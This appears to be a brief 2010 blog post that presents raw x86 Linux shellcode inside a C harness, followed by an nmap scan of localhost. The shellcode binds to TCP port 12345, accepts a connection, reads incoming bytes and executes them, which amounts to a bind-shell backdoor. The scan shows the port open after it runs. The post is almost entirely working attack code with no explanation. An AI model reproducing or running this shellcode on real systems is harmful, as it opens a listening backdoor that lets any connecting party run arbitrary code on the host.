iseng nyoba
October 15, 2010 Leave a comment
#include <stdio.h> char shell[] = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80" "\x96\x43\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x66\x58\x50" "\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56" "\x43\x89\xe1\xb0\x66\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x89" "\xdf\xff\xe1"; int main(void) { ((void (*)(void))shell)(); // str() return 0; }
scan:
root@deepmind:~# nmap localhost Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-15 08:51 WIT Interesting ports on localhost (127.0.0.1): Not shown: 999 closed ports PORT STATE SERVICE 12345/tcp open netbus Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds